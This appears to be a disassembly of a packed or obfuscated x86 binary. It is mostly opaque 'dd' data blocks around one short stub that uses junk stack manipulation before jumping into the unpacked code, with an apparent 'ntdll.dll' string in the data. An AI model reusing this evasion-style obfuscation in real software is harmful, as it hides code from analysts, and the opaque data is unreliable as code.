		dd 0DCDA4BF9h, 0F9C2625Bh, 80F2DD46h, 0DFC12A43h, 0CD32AEC7h
		dd 0BC3F7BBFh, 25F9C2CDh, 26F81E7Ah, 630B91Dh, 0A68F02E0h
		dd 0CDD6595Dh, 9FBBF9C2h, 4BA1F26Eh, 3D575CE7h,	0D8BE879Fh
		dd 0A707E155h, 0E773C52Eh, 25735016h, 3A107E1h,	0F9C2CDB3h
		dd 56220B14h, 458E788Bh, 3ED23777h, 0F67FDFE8h,	47CEAE40h
		dd 0D933CC57h, 2DAEB33h, 5F2BDA06h, 5FF40874h, 0ECA98643h
		dd 0DBB35585h, 0CFAF0952h, 5C3A7246h, 0C00373FEh, 0E66BCDABh
		dd 99AA7C92h, 0E382B43Dh, 0E41B9C9Ah, 9D86F9C2h, 60C4B4BFh
		dd 0E9626EE9h, 7F32454Bh, 7CCA4725h, 3162E917h,	4CCAAC88h
		dd 0AE929EE7h, 56DBB9FEh, 444DB390h, 994AAE22h,	7B752DA6h
		dd 2F7DDCDBh, 9266EB49h, 9164B03Bh, 3Ch, 0F100D8B8h, 75FEDA09h
		dd 810AED4Bh, 0E045D1ABh, 9ED4B79h, 5D59B480h, 806CEEDDh
		dd 4B9651C2h, 0B48009EDh, 0ED4B9259h, 0EC278308h, 0D226AD08h
		dd 2A15E47Ch, 4E35D59Eh, 0BA000000h, 0F95C56C0h, 4B202B72h
		dd 0B9349662h, 0EEDF5F53h, 8013806Ch, 75ED4B59h, 745DB084h
		dd 0E442C9ACh, 4B8649AFh, 0EEC33462h, 652E806Ch, 5AA9B117h
		dd 6CEEDB5Ch, 725DC680h, 0EDED4F29h, 0CFBB820Fh, 4BBFB084h
		dd 318774EDh, 45FDDB28h, 0E00266FEh, 3075806Ch,	42597CAh
		dd 0F142B09Dh, 0D8806DA7h, 4A796CB7h, 0F6FFFFFDh, 8475ED4Bh
		dd 978BE122h, 806CEF28h, 5B9B20F5h, 0A53D8BDh, 0EE82F521h
		dd 246F806Ch, 0AB0C60D0h, 0F5806CEEh, 0FF72D4ACh, 0A2A37B99h
		dd 749240CBh, 3BD91DECh, 1C10D65Bh, 0BE431DE2h,	0E85ED3B5h
		dd 41FA7DB9h, 0BCE7C2C3h, 35F57CD8h, 11A5791Fh,	22B46AEEh
		dd 388690C2h, 20B78h, 624BF500h, 6CEEC334h, 17652E80h
		dd 6CEEA313h, 1AA17880h, 0D008E831h, 0AE0A5921h, 0A3E046CDh
		dd 0EE755555h, 44AD7A45h, 95EFDD5Eh, 7D5BC486h,	8157BCE7h
		dd 8C48AC25h, 0AE18936Ah, 398170E8h, 0A08FB67h,	8695EFA9h
		dd 42240F10h, 41AA1188h, 289E17F7h, 42B09DFBh, 806EDB94h
		dd 0E7DB683Bh, 0CAAD5F6Eh, 0CBDF3C4h, 1D3A0000h, 4E8A6CEEh
		dd 0FC59BFBFh, 3821C777h, 0FED0BCBh, 0C8005082h, 2A28A57Bh
		dd 77E76ACCh, 0B9BD3691h, 0C476FF5Fh, 0A2150160h, 0F7A3D9Ch
		dd 624BCF76h, 6CEEC334h, 5ADDD980h, 47806CEEh, 391F00DCh
		dd 0BC0A835Bh, 0A12A8355h, 8328F14Bh, 258751BAh, 0A7F5DEA8h
		dd 4C2C0263h, 9FE4AF7Ah, 67D75C39h, 46AF2481h, 0D49219F2h
		dd 0F6096FFh, 0FA869C34h, 96FF43A9h, 91E716C2h,	14D25B33h
		dd 7358E3B6h, 7513C307h, 987DDB80h, 0E79B1C36h,	5FA6E500h
		dd 0B3B0E379h, 0AD58FBA5h, 1CA136FCh, 5B00000Ch, 29CF0FFCh
		dd 0F412C031h, 0BE589A11h, 4E250A3h, 7B2B2BA6h,	0B13C925Fh
		dd 0C815BBDh, 0C44F28CEh, 9D14F016h, 6E94FD59h,	7A3D9C0Dh
		dd 0C452D9F4h, 4CAFEB60h, 0B5806CEFh, 652783EAh, 0F0260FB4h
		dd 7A45C76Eh, 3AB10AEEh, 0BB328A4Ch, 0B5DE0450h, 0AC08E881h
		dd 9571D725h, 51B84991h, 119A7F9Dh, 54B0CE34h, 0C178075h
		dd 8BF5DE27h, 377C96A1h, 0E2554564h, 0CF8CC4F8h, 3B927044h
		dd 816482B0h, 2DABC0Ah,	0AAD63F8Bh, 1387B07h, 73D52323h
		dd 0C2301DA6h, 869EC180h, 1F07246Fh, 12A72F71h,	0B75CB9Ch
		dd 55820000h, 8652B4A6h, 4421C777h, 70E90FCFh, 0D7B55383h
		dd 10C8985Ah, 72E06DC3h, 0BFBF3294h, 0C175FE59h, 0CCE4727h
		dd 5ADDD9A8h, 477A3D9Ah, 60C407AEh, 0DEBB11E9h,	0EC0A0855h
		dd 0D37A45BCh, 0EC749240h, 5E3FD91Dh, 0FE83E1F0h, 0F1D2941Fh
		dd 5F0A97B3h, 0C9AFC674h, 5E91E76Ch, 89D259C0h,	45EB918Dh
		dd 95553E7Ah, 95F52291h, 0F82EAA86h, 0B3E1767Eh, 39E41474h
		dd 7E446E66h, 229581EAh, 8F86950Eh, 93C5B084h, 8C000000h
		dd 0AC6A639Ch, 0C69BFC3h, 954DA516h, 35030C86h,	0ED1CC43Ah
		dd 886C341Dh, 7E7B901h,	80EB388Eh, 0FB0AD6B4h, 9872C60Fh
		dd 6DE64715h, 8C62B69Dh, 0EC0A655h, 0D13323D2h,	9C9AE348h
		dd 7A45EEE2h, 0A3A142CDh, 0FEB38883h, 0A9DA708h, 7DDA0000h
		dd 0AEAA4C8Eh, 9C799F5Fh, 18C12717h, 2F8D6BEBh,	0E8E0B0A2h
		dd 0AC8451Bh, 57870AECh, 995DD6B1h, 24169F7Fh, 82F52180h
		dd 6F7A3D99h, 1CC42F56h, 627E69EDh, 15000000h, 0EE65D6CCh
		dd 0C34C806Ch, 1CC47AF5h, 250C8760h, 0A9128745h
		dd 0DA88564Ch, 0D0D87A45h, 0D2186847h, 6DC388Bh, 0FA62E81Dh
		dd 0CB3FB387h, 0A32E4h,	65964D00h, 3ACB17F1h, 0F47FDE38h
		dd 4AB9A046h, 5886E88h,	844981D1h, 4DABAB26h, 12F466EBh
		dd 0E60032B9h, 0EB4F8F06h, 9A1B9C9Ah, 0EF867A3Dh, 0E960C444h
		dd 56DFBF11h, 0D0233E90h, 5BD6B016h, 66B89CEFh,	2CF218D0h
		dd 0B6F86494h, 35D74D2Fh, 2C30B0E7h, 0DCA7ADDh,	63000002h
		dd 860BED4Bh, 0E6FDA1B2h, 77A38833h, 7A45D65Fh,	271BDF40h
		dd 342D6239h, 0E7CC7722h, 0EE41B59Eh, 0DB7A2DB3h, 1FEB60C5h
		dd 8B8FED34h, 7406A4B7h, 0D18B7F20h, 9C9AE348h,	7A32CCF1h
		dd 0E646F927h, 408F961h, 8F6D6F9Fh, 8856A253h, 8355BE87h
		dd 172A02Bh, 0E88682FEh, 0B9EA5CA7h, 9019FD53h,	69E044A2h
		dd 9B7634D4h, 0A609FDB3h, 967h,	0BAB84B90h, 0C175845Ch
		dd 9CD4627h, 4D8172EFh,	9A58D5ABh, 63C10ECAh, 308A6CEEh
		dd 0FC5FB9BDh, 4521C777h, 0DBAA0ECCh, 3D985CDFh, 5A8457Ah
		dd 1DED1CC4h, 7451DABFh, 4C2A660Eh, 250E117Ah, 0C674F953h
		dd 0E2CB4620h, 0DC38CB16h, 40EBAE6Ch, 0CDC9127Bh, 869C336Ah
		dd 0A8E8CC57h, 80751ABEh, 0D9522BE9h, 69C395FEh, 20399FE4h
		dd 284185D3h, 8066ED48h, 7E312CEh, 3197E5CCh, 8FF1DA57h
		dd 7AC38C70h, 3C8CE88Bh, 2686825Ah, 7A744AFh, 9AAD5892h
		dd 8CD4314h, 2D2A0000h,	5EFA1CDEh, 0EC49AFAFh, 0C811F767h
		dd 7FDD3B3Bh, 0B81040F2h, 0DA18956Bh, 67D75A3Ch, 0A9AD2681h
		dd 0F466EF4Fh, 0B2057150h, 1F7A3D98h, 705DFF06h, 0EE88EB2Fh
		dd 0BFA1806Ch, 578362C8h, 8450C311h, 4A4EAA21h,	806CE5F1h
		dd 8401253Bh, 674CF7A2h, 45CC3733h, 0D63F607Ah,	3220AB02h
		dd 99E249D0h, 715E4F9Dh, 0C62F7080h, 429E9A72h,	0B59CF7B3h
		dd 0E876781h, 5CCD47FDh, 9324EAADh, 84Bh, 9E5CAFB4h, 0DD11E078h
		dd 65E9623Bh, 0B1A55683h, 0FE7CF157h, 0FED32AEh, 0D4B65082h
		dd 98739559h, 61C52313h, 0E7CE6AE8h, 3D9840B3h,	6194A97Ah
		dd 6CEF1966h, 0AD248080h, 9B16F040h, 5490E42Fh,	317DE3B6h
		dd 105607Ah, 0A9D8BB82h, 0C24DA46Bh, 0BC6E92FBh, 0DD44E7B8h
		dd 7039BAF8h, 0FFA0806Ch, 296D4094h, 7A45A4F3h,	0A01AAE94h
		dd 5681CC3Dh, 0F952260Fh, 4526C072h, 0CC5778CEh, 0DC000007h
		dd 89D259C0h, 45EEBD8Dh, 8971227Ah, 0B0037758h,	198695EFh
		dd 91EE2276h, 5D8695EFh, 5EF67BFh, 3D74B3E7h, 11Fh, 0E863C436h
		dd 53DEB81Eh, 46CDAE0Ah, 0C14C2EE0h, 0F5C32A79h, 62EB4305h
		dd 51A2BF19h, 0EA5EBAE9h, 1AD85334h, 0D6901BFCh, 33189F74h
		dd 6CEE6CC7h, 210A1580h, 0EF59DAD8h, 0DF40806Ch, 54CC09F9h
		dd 9D16F1D2h, 57DCBF59h, 5FAEAA0Eh, 0EC5CB8EBh,	6CEFE388h
		dd 911CFE80h, 1D967729h, 0C165FBADh, 0FA2C340Dh, 71E56EC9h
		dd 52BB0093h, 6CF0DB24h, 73CF3180h, 3285F10Ch, 9F806D9Dh
		dd 0FC3388F4h, 1805D339h, 6D8D991Ah, 149F7880h,	0B0E37152h
		dd 8DCC2F6Bh, 6A35806Dh, 7E1A703h, 0CCAE488Ah, 0E255BD64h
		dd 2D839998h, 0A28DC6A0h, 4D29EF5Bh, 213762C4h,	0EF62C4FDh
		dd 0A22F896Fh, 0D9306C4h, 9174C67Dh, 0C110161Ah, 30664F96h
		dd 7A466B86h, 452C2E71h, 459318F3h, 3E8805E7h, 2B70B75Ch
		dd 7931CEE5h, 0AF8D4769h, 6EB5046h, 0C8CE8696h,	0CC07E36Eh
		dd 40D805E5h, 8E03E5DEh, 5DD0AA4Ch, 0C16A2FEDh,	0EA34BEE4h
		dd 6494806Eh, 6C306EB7h, 0BC9AFE69h, 238563D3h,	0F14AACAEh
		dd 0C073F87Ah, 0A089D259h, 9EFA09D0h, 45BDC09Ah, 0C337187Ah
		dd 86962270h, 74E23659h, 61F95F2Bh, 0C029A290h,	1569D156h
		dd 806CEEA6h, 5515E673h, 1DB51DF3h, 8F7FCA6h, 114C3A05h
		dd 482E170Fh, 0CD4BFAC5h, 6017D959h, 624B7ADDh,	699A1D19h
		dd 1C07806Ch, 6C69991Ah, 391F0080h, 2D4Ch, 1CC4F900h, 200B8660h
		dd 0EED12246h, 8ADB806Ch, 0D3C7482Eh, 806CEE60h, 99FFC649h
		dd 0B6A2A37Bh, 0A0D39747h, 0FC806CCBh, 0FFFF96E9h, 60C446FFh
		dd 1DD66EE9h, 0A7D356C0h, 806CEF54h, 408BD2BDh,	8475ED4Bh
		dd 538BE122h, 71825E3Ah, 6CEEB205h, 2D741F80h, 7B7504CFh
		dd 0B77DDCDBh, 26h, 0D156C0BCh,	0EC4F4B16h, 0D5806CEEh
		dd 624B834Ah, 2C343496h, 0DF266DDDh, 1CC476F9h,	0D59E62EDh
		dd 4435h, 56C0BA00h, 624B16D1h,	6CEEC334h, 17652E80h, 0EE77F83Eh
		dd 62B1806Ch, 34624BFBh, 806CEEC3h, 1A18652Eh, 806CEE99h
		dd 0D4391F00h, 0EF1CC461h, 6CEF48ABh, 8863B180h, 0A1F43803h
		dd 7322625h, 9E7EF9C0h,	6761C4D5h, 44220D86h, 6CEECF20h
		dd 60EB4280h, 0EE65C086h, 6FE64618h, 2FA37B99h,	0EFD84ED2h
		dd 0D8B8850Eh, 0AAA2F67Dh, 1FEC75C3h, 459C78ABh, 0FE2E62B6h
		dd 5C806CDEh, 0FFF4AE09h, 1CC4E6FFh, 0E8B69EDh,	0C45A58A5h
		dd 1C7A45D4h, 4C7DC3ECh, 0B99F4955h, 0DF36F0A3h, 0C6129F79h
		dd 960075C2h, 4BD37986h, 0C43723F5h, 96005DDEh,	0F0DB4486h
		dd 82F0DD36h, 86960131h, 72A1F798h, 74B3D172h, 1388h, 454BA500h
		dd 731ABBAFh, 139E7C0Eh, 1FFECC8h, 74000000h, 89D259C0h
		dd 45DFB18Dh, 28751E7Ah, 8264EF48h, 4E876B41h, 0BE9A11EAh
		dd 7DF100D8h, 9600A439h, 51DABD86h, 2BA07B9Dh, 12E9845Fh
		dd 74C733BCh, 5D869600h, 0B91FEB32h, 0B39254DDh, 9600F447h
		dd 4CB2DD86h, 799E34EAh, 0A5063FE7h, 0E673C52Eh, 9A7E5515h
		dd 0ED694FBEh, 0F83AB30Bh, 0C737BE1Eh, 10066F84h, 8696009Fh
		dd 57139A72h, 59BFE07Ch, 0BED63BBh, 64D3DCEh, 71F85C32h
		dd 6B754AF9h, 877B5CDBh, 0F4h, 0E61C654Eh, 7FECEE95h, 94E7137Ch
		dd 7D7FECEEh, 0C00DC612h, 298FD453h, 1DFC54Eh, 20344C43h
		dd 4BE95ABEh, 0E65FBB45h, 1765A9C7h, 637AF83Eh,	678E806Ch
		dd 4B804BFCh, 0B18774EDh, 0C4D38793h, 0D66EE960h, 34624B1Dh
		dd 806CEEC3h, 8D1BFFEh,	7BE9C803h, 5E8BEC2Ah, 2D76806Ch
		dd 8214F6C2h, 29A2323Dh, 0DCDB7B75h, 52B77Dh, 0C0BC0000h
		dd 75845C56h, 0F07DD3B5h, 0E368C3A9h, 7AE5CC07h, 0EEEC4F4Bh
		dd 48D5806Ch, 6CEEE94Ah, 0E94FD080h, 0B5BC870Ch, 624B804Bh
		dd 6CEEC334h, 17652E80h, 497DA9B1h, 1552D89Ah, 6BDF2C35h
		dd 4FF6D138h, 0ED4BD59Eh, 21AA0D09h, 2FEDF2C6h,	42000000h
		dd 16D156C0h, 0EEEC4F4Bh, 0FF06806Ch, 19624B74h, 6CEE9A1Dh
		dd 381C0780h, 0EF1CC437h, 6CEF48ABh, 0A1386180h, 99F9717Fh
		dd 76F1D84Bh, 335D59Eh,	0BAFFFFFFh, 11E960C4h, 0E456DFBFh
		dd 0FD7EA48Dh, 0E4806CEEh, 1EFB5DBBh, 1E674895h, 6CEE9718h
		dd 3B110280h, 45BE0BC7h, 0DFABF47Ah, 961F5CDBh,	5D3B9086h
		dd 0C2276FBh, 0B358981Ah, 60A74B3h, 82835B40h, 0B1045007h
		dd 47h,	0F8915058h, 0F824AF0Eh,	55A3E401h, 0D259C09Ah
		dd 0EF598D89h, 1D067A45h, 3A9C64ADh, 0BB1DF3B7h, 0E9A1EF36h
		dd 851D2836h, 6AC9C92Fh, 628696B3h, 2EB640E6h, 5C74B322h
		dd 0A7AC0F0Bh, 0A158696h, 0C95F2Eh, 0C4940000h,	0A816460h
		dd 0DB2957BCh, 3D3E4630h, 0C385654Ch, 4006E06Dh, 0B49D6DE4h
		dd 4BC43763h, 622D806Ch, 0D0D4B016h, 0D90AFC77h, 0FF387CFEh
		dd 92806C47h, 8E6AB33Ah, 9155A352h, 36BD18F8h, 21A80CE2h
		dd 0AD168359h, 44445240h, 386B7A45h, 0FA41D83Ah, 45396F91h
		dd 0DAE04864h, 1B6397FEh, 0FC8070F7h, 8EE4A93h,	0D1B75185h
		dd 290BAF5Ch
		dd 60A6AD5Dh, 2465Fh, 59AAB100h, 16E77395h, 0E06BC224h
		dd 0BE4D9472h, 9845ABCh, 0F03D95C5h, 0B95F9F12h, 6E052DFh
		dd 0CA2C2EA5h, 0DF7BFB72h, 922F80F6h, 0FB9A7A3Dh, 0E966C470h
		dd 6CEF4AADh, 29C9B780h, 0BAFE6809h, 89D23D04h,	4B0172A0h
		dd 0A7E8806Ch, 9B739551h, 0C0AB2012h, 8D89D259h, 7A45EF59h
		dd 49AD1D06h, 8695EFEAh, 36C066E2h, 74B3E6AEh, 89B8ACDCh
		dd 74CBE66Fh, 0B95520h,	0C49E0000h, 0BF11E960h,	9E9254D9h
		dd 806CEB65h, 0F17ADDBBh, 18FEDA09h, 0E70135BCh, 7BA58E07h
		dd 0B5B92246h, 8F735970h, 9EE74CCDh, 46077A98h,	0C0721D7Ah
		dd 0E7CC7722h, 27AA929Eh, 4B71A33Dh, 960BEC4Fh,	47B4AD86h
		dd 0E3ACA0E3h, 677AB895h, 0A807166h, 0B39C1F1Bh, 1A058CC1h
		dd 0A80EEA33h, 0F8583125h, 0F3D0961Dh, 0EC61C7A5h, 5CBF815Fh
		dd 0C5EA20ADh, 157h, 8A48BBA0h,	0D105F46Ch, 19DD5637h
		dd 5D9162FFh, 0EA68E5BBh, 73D11EBAh, 0C09A7CFEh, 8C6F894Dh
		dd 5531D707h, 0EBBA1EDCh, 3D914CAFh, 1598B57Ah,	6BEB66C4h
		dd 7AFD3902h, 67806CEEh, 0A27AD83Ch, 0C4A02B2Bh, 3011E960h
		dd 0EF48ABEFh, 0EEB1806Ch, 0EF1E9185h, 988B806Ch, 0F77EDEBCh
		dd 4FF4A547h, 0D5363066h, 3E617A45h, 7FBB8CD5h,	86960AFCh
		dd 0F2B4459Dh, 84D04391h, 0FCF4626h, 22840DE9h,	210AB168h
		dd 754933F5h, 32335C80h, 0AD59245Ch, 0C08ED1D5h, 3F000000h
		dd 8563D320h, 48AEAC5Dh, 12F466EDh, 0E00634C7h,	1F4F8F02h
		dd 15987EC3h, 0E865C721h, 0A02B8C6Ah, 79F054B2h, 27051F5h
		dd 7A3D90B1h, 0C0FE0518h, 8D89D259h, 7A4C2DDFh,	0E2B69F80h
		dd 0C7AB810Ch, 2E2CA501h, 98E56CC8h, 0CDF05C38h, 77973A39h
		dd 4F84624Dh, 0E8489969h, 6C22840Fh, 6AB90188h,	58D1B503h
		dd 5357A5EEh, 0AFC8708Ch, 9AAB7319h, 96624BC2h,	9BC8BE35h
		dd 0FF5FB9BDh, 3DEB076h, 55CB36F0h, 9D14F0D1h, 73DFBF59h
		dd 0B22DFCFAh, 0FB7CBA59h, 0E6FE97F4h, 0BF0B52BDh, 1E28h
		dd 449D7B00h, 1EE8633Ah, 458EEA35h, 837E454Bh, 0CBF423A9h
		dd 9A43B4E2h, 0E5AE806Ch, 0C4BBCA97h, 441AEC1Fh, 3F9169E0h
		dd 0BD13D75Ch, 3E9056DBh, 0B315D558h, 309650DDh, 0AA6CDA29h
		dd 28EE58D3h, 3A79C130h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 4
		sub	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	edi
		mov	edi, 62F4632h
		mov	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		push	6F22h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		push	edx
		mov	edx, 8
		add	edx, ebp
		mov	[edx], ecx
		mov	edx, [esp]
		add	esp, 4
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_54F76C
; ---------------------------------------------------------------------------
		dd 9C869EB3h, 2F5FE0B8h, 50C50306h, 1B5985C6h, 68470629h
		dd 0CF381725h, 2639B5FFh, 858D0629h, 6293B72h, 0D88BD0FFh
		dd 1BBD858Dh, 68500629h, 104h, 85C6D3FFh, 6291B59h, 0F8BF6853h
		dd 0B5FF8307h, 6292639h, 3B72858Dh, 0D0FF0629h,	43F78589h
		dd 0BD83062Fh, 6292631h, 0B840F00h, 8B000000h, 292D3D9Dh
		dd 5E906h, 0BB0000h, 68000000h,	100h, 43FBB58Dh, 5356062Fh
		dd 141995FFh, 0B58D0629h, 62F43FBh, 1E9F003h, 4E000000h
		dd 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh, 0FB858D00h
		dd 50062F43h, 43F795FFh, 0FF58062Fh, 0A660DFE0h, 5598EE4Bh
		dd 0C6D89B7Eh, 0C72E0425h, 2433F614h, 12E854h, 8E900000h
		dd 583DBA3h, 0C2BE0325h, 0BC1D975h, 0F8B500C9h,	59D9BF0Fh
		dd 633EC181h, 0C7810000h, 3A654B0h, 18ABBAh, 8031FF00h
		dd 665803CBh, 81A8B8BFh, 0D3478BF0h, 81FE8B28h,	334CEE8h
		dd 3355BB4Ah, 0C0817494h, 3EA85FBCh, 0C7816650h, 18F08E1h
		dd 0E983FE8Bh, 81666003h, 0E820BCD2h, 5, 4E4C4F98h, 5B5B52C8h
		dd 0E6814961h, 6D3434Dh, 0F850F4Ah, 66000000h, 0E90649BEh
		dd 14h,	0E4979CF7h, 9AE9CB4Bh, 0C6FFFFFFh, 0EFE14682h
		dd 0AD1C0E51h, 62668D8Dh, 0E58A062Fh, 1E6D8D89h, 8EB70629h
		dd 2D8185C7h, 6C780629h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 48F0B1C3h, 135AAC4Eh
		dd 2CCD9501h, 85C70629h, 6292005h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0E6C35747h
		dd 0BEB0A8A5h, 8F01EF51h, 7A1B5FFh, 27B80629h, 0FF08A62Ah
		dd 2931E995h, 0CDBD8B06h, 52062908h, 6A5E40B0h,	9195FF00h
		dd 8B062905h, 0B46DEBC0h, 5C8B6F52h, 5ECB640h, 0A89B5208h
		dd 7BE7F0D6h, 0B21FFC52h, 0D159C7B2h, 0C68FA362h, 8642D75Bh
		dd 0BE3E3448h, 631B2157h, 4F7B62B9h, 10C54A09h,	51FEEB17h
		dd 0DAFAA8AFh, 9EA75C00h, 8BEE0FD2h, 0ED9A46EDh, 7EE77D1Fh
		dd 8463F867h, 4F1179A8h, 0EC144BCFh, 0B9C89863h, 0E0BBDE89h
		dd 0F880AD1Dh, 0CA1F0462h, 0F6546C29h, 3325B537h, 10E8h
		dd 96F4000h, 2BB820AAh,	0B51EDE22h, 0C23F3836h,	952B602Ch
		dd 6290FD5h, 619BF480h,	0E381665Ah, 0C2817F09h,	6409h
		dd 58D0Fh, 0B3B90000h, 2B517D9Eh, 0A19D8BC0h, 8B06292Eh
		dd 0CB810234h, 97BF55h,	0C01FC681h, 0FA8A43B0h,	0EED8C681h
		dd 9D897EDDh, 6291DE9h,	5D9CEE81h, 12E841A9h, 9E000000h
		dd 41BCD5D8h, 0E76F3EC7h, 0B8372300h, 0DF613878h, 0BF6657B7h
		dd 5959B662h, 0E9023489h, 9, 684618Fh, 0BBE8DE64h, 359D8B9Ah
		dd 81062926h, 0D7F992E8h, 9BD38138h, 815ED75Ah,	0D7F98EC0h
		dd 0BD096038h, 6292ADDh, 0F88161FCh, 0FFFF9CD8h, 1C850Fh
		dd 8E90000h, 11000000h,	6A1E0D21h, 0E97B0A07h, 1Ah, 544DECBEh
		dd 6AE8D7D1h, 9BB02A1h,	0E900DFA9h, 0FFFFFF5Bh,	763AD26Bh
		dd 37E9E6FFh, 12000000h, 93000446h, 9DE61D8Ch, 6E2E81E8h
		dd 6C6C6474h, 6C6C642Eh, 0BD146700h, 0B98003B2h, 0FEh
		dd 5 dup(0)
		dd 0FCE90000h, 68000006h, 62F657Ch, 0FA198FE9h,	664168FFh
		dd 85E9062Fh, 68FFFA19h, 62F66CFh, 0FA197BE9h, 67B168FFh
		dd 71E9062Fh, 68FFFA19h, 62F6878h, 0FA1967E9h, 694968FFh
		dd 5DE9062Fh, 0FBFFFA19h, 49AFAF5Ch, 14F26091h,	0DE383AB1h
		dd 0A442F003h, 0DB8B4BC6h, 0D15C32FFh, 0AC21FB1Dh, 64EF48AEh
		dd 3DB410F6h, 0CE349D39h, 7A3D8A6Dh, 3532B954h,	36h, 82D05058h
		dd 0E4B7F167h, 0D6A28D7Ch, 0C40FFB0Ah, 60C47FF0h, 0DFBF11E9h
		dd 0A28D7EDBh, 0EE87F4B0h, 0B49D806Ch, 398108ECh, 0EF4BACEAh
		dd 0EDB6806Ch, 0C54E298Fh, 59C09A11h, 0EF51A2D0h, 0D7B8806Ch
		dd 179A78Ch, 3A898002h,	0F2200D6Bh, 7A45C0ECh, 75BB8093h
		dd 0BD5BB0E4h, 0CC472096h, 0C2CE297Ah, 93C96186h, 0DFDDBD9h
		dd 95A78AE9h, 3CB11786h, 9C1F1B4Ah, 58695A7h, 57D8BE1Ah
		dd 95A7D023h, 0F563986h, 1B03A9BBh, 0A7FE71A5h,	0B8EB8695h
		dd 0F42AAE51h, 0B42E8262h, 20BB874h, 0E570000h,	959BA708h
		dd 3EB1E586h, 0AB86959Ch, 0DD3B64F8h, 34624B12h, 806CEEC3h
		dd 0E57B8A56h, 5A855EBAh, 0AAF338E1h, 45D6666Ch, 10C6497Ah
		dd 74658E5Ch, 9B72C642h, 1F7D5610h, 0E57DCBDh, 9DA31208h
		dd 1CEAB544h, 0B50DBBEh, 0C9CA820Fh, 0D73C674Ah, 0DA512A8Eh
		dd 35BC18FEh, 8E07E701h, 455C07Dh, 18AF63E3h, 4B9h, 0E250A3B8h
		dd 292DDC04h, 71E56ECFh, 0B5B94A97h, 0C270FD53h, 0BE93692h
		dd 0D8B25486h, 0A407E155h, 6DC92F2Fh, 0F3D276E4h, 3D8A3487h
		dd 7D809D7Ah, 11E960C4h, 0FE70DEBBh, 0B2B41B4h,	0D3C4DB3h
		dd 0C6993083h, 0EB4D96FFh, 46BA9E6Fh, 7A45BB84h, 5D5B3C84h
		dd 501671FAh, 543F2573h, 69D27DE6h, 0ED492EB0h,	51EFD31Ah
		dd 0E1E92D76h, 0C6806F64h, 961BF95Fh, 0BF990F60h, 4EA9FA8Ch
		dd 0E100D488h, 0FE9B254Ch, 342A68B5h, 5B1F3642h, 9169E245h
		dd 3D9F6BB2h, 2F815A5Ch, 0F59F54B4h, 0EB321D01h, 2B409E82h
		dd 8BC67BB3h, 0B75240ADh, 1A25626Eh, 0F0542C09h, 0BB13F579h
		dd 0B16A3132h, 0F539086Bh, 3F4E2h, 0AD5E8500h, 62934FA9h
		dd 3CB716F0h, 0F201D83Eh, 4DC0A640h, 3C01D989h,	8563D35Eh
		dd 4AACAE23h, 1EF87AF1h, 0A30737BEh, 8863D4C2h,	0B74E7A3Dh
		dd 0E960C40Ch, 0D950348Ch, 0CC4D0FF3h, 86181E67h, 317A45C3h
		dd 8B0EEC6Eh, 0A9F2DB20h, 961C0A6Dh, 48ACF786h,	753ABC48h
		dd 2B702380h, 95EB76C2h, 553BA37h, 7A6BC7A7h, 9433AD3Ah
		dd 8462D03Bh, 0F0D1A920h, 0EECA3920h, 0DD268D0Ch, 9EB3A9D9h
		dd 0E0050E86h, 0A72FD641h, 66AB3CF2h, 0B000003h, 0D93F3FCCh
		dd 0A442F001h, 6E884AC1h, 34D200F3h, 4B1BDB56h,	61EC428Fh
		dd 3CB10BEDh, 0F47FD83Eh, 4DC4A046h, 5E442D89h,	7A3D88DDh
		dd 0C48229C4h, 4CAFEB60h, 0B5806CEFh, 652783EAh, 0F0260FB4h
		dd 7A45C986h, 3B2C2E71h, 19Dh, 2AF9B988h, 96FFC46Fh, 2CD1FB6Ah
		dd 9210FE27h, 3BA30D4Eh, 1414604Bh, 7A45B8FEh, 63EA4216h
		dd 0F2684C87h, 78D8A9A1h, 0B2439FE1h, 0EE0D0D6Bh, 24318277h
		dd 220EDDF4h, 754370B5h, 50BD0693h, 0C7134028h,	795F3C0Fh
		dd 0B328EE14h, 848F75ABh, 7F7FD9BFh, 7DCD1499h,	9C7EC216h
		dd 46DB6FDh, 0E774C733h, 325D81FBh, 0EF27A2E6h,	998A7BD7h
		dd 8900E4BCh, 0DFDB2C45h, 8828635Ch, 0C2E6FF45h, 406CDA51h
		dd 0D9BD1379h, 98F4D350h, 7BAFB1F6h, 28454h, 1DEE7500h
		dd 0D2233FD9h, 0AC278660h, 629148AEh, 3DB016F0h, 0AC716939h
		dd 759343CEh, 3ADC1E93h, 8E68EA61h, 13B7A72Eh, 87F344B2h
		dd 0C7DE7A3Dh, 0E960C4BCh, 1E109C8Ch, 471D27C7h, 4ECB8171h
		dd 203898E5h, 0AB54A7D3h, 0D2BD806Ch, 80D43F8Bh, 77344ADh
		dd 806CAAB4h, 0E226721Dh, 7A457D20h, 0AC38A18Fh, 0BC2C0EFFh
		dd 32F47FD8h, 0DF44F6D1h, 0A10A8F90h, 42385E44h, 0F49F806Eh
		dd 0D4E0E42h, 94050EE0h, 1BFDC62Fh, 0E78CE3Fh, 62459E3h
		dd 0F0DD24A9h, 0A0C03182h, 0A1F7981Bh, 79A5A961h, 0A5050E15h
		dd 0AC8932E7h, 0A5E1DB76h, 8553E1Bh, 7745CCA8h,	6BE2BA1Eh
		dd 20A90DEBh, 283E4A03h, 9225E912h, 1BDh, 0E654A7BCh, 2529D800h
		dd 6DE16AC3h, 0B9BD4E8Bh, 0C674F95Fh, 17F53A96h, 0DCBE589Ah
		dd 0A07B9D51h, 69CD2B2Bh, 0FFD672E0h, 3D8738BBh, 798CA17Ah
		dd 11E960C4h, 855DEBBh,	45C3980Ah, 9E5CC77Ah, 0D059C015h
